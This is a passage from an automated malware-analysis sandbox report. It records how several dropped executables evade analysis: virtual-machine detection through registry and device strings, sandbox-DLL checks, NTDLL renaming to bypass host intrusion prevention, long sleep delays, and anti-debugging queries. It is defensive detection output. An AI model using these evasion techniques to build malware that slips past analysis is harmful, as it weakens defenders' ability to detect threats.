Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: Process Memory Space: B4BD.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4F44.exe PID: 6980, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: CFE9H9mdWr.exe, 00000003.00000002.343805470.000000000063B000.00000004.00000020.sdmp, bsstvub, 00000013.00000002.401198321.00000000005AB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLUSER

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe TID: 3220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe TID: 5720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe TID: 1068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69D3.exe TID: 6884	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\39F6.exe TID: 6976	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\234F.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 569

Jump to behavior

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DEC6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DA7F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\69D3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D88A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DC45.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D210.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2E6C.exe

Code function: 29_2_6CE36B90 rdtsc

29_2_6CE36B90

Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Thread delayed: delay time: 922337203685477

Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: explorer.exe, 0000000C.00000000.303364721.0000000008974000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.304703092.000000000EF1A000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating system
Source: explorer.exe, 0000000C.00000000.322210842.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000C.00000000.333171923.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.333171923.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: B4BD.exe, 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: explorer.exe, 0000000C.00000000.322101606.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_004040F0 RegCreateKeyExA,RegOpenKeyExA,GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

35_2_004040F0

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_0041B9B2 FindFirstFileExW,

35_2_0041B9B2

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

0_2_00440870

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 0_2_00960042 push dword ptr fs:[00000030h]	0_2_00960042
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 17_2_00960042 push dword ptr fs:[00000030h]	17_2_00960042
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 18_2_02CB0042 push dword ptr fs:[00000030h]	18_2_02CB0042
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC14FB mov eax, dword ptr fs:[00000030h]	29_2_6CEC14FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8CD6 mov eax, dword ptr fs:[00000030h]	29_2_6CED8CD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02CDB mov eax, dword ptr fs:[00000030h]	29_2_6CE02CDB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04CB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE04CB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED9CB3 mov eax, dword ptr fs:[00000030h]	29_2_6CED9CB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE01480 mov eax, dword ptr fs:[00000030h]	29_2_6CE01480
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h]	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0649B mov eax, dword ptr fs:[00000030h]	29_2_6CE0649B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0649B mov eax, dword ptr fs:[00000030h]	29_2_6CE0649B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2746D mov eax, dword ptr fs:[00000030h]	29_2_6CE2746D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE45C70 mov eax, dword ptr fs:[00000030h]	29_2_6CE45C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h]	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8C75 mov eax, dword ptr fs:[00000030h]	29_2_6CED8C75
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8450 mov eax, dword ptr fs:[00000030h]	29_2_6CED8450
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3BC2C mov eax, dword ptr fs:[00000030h]	29_2_6CE3BC2C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04439 mov eax, dword ptr fs:[00000030h]	29_2_6CE04439
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h]	29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h]	29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h]	29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h]	29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h]	29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8C14 mov eax, dword ptr fs:[00000030h]	29_2_6CED8C14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE395EC mov eax, dword ptr fs:[00000030h]	29_2_6CE395EC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE095F0 mov eax, dword ptr fs:[00000030h]	29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE095F0 mov ecx, dword ptr fs:[00000030h]	29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB8DF1 mov eax, dword ptr fs:[00000030h]	29_2_6CEB8DF1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE015C1 mov eax, dword ptr fs:[00000030h]	29_2_6CE015C1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFDD3 mov eax, dword ptr fs:[00000030h]	29_2_6CEBFDD3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE335A1 mov eax, dword ptr fs:[00000030h]	29_2_6CE335A1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h]	29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h]	29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h]	29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h]	29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h]	29_2_6CECB581
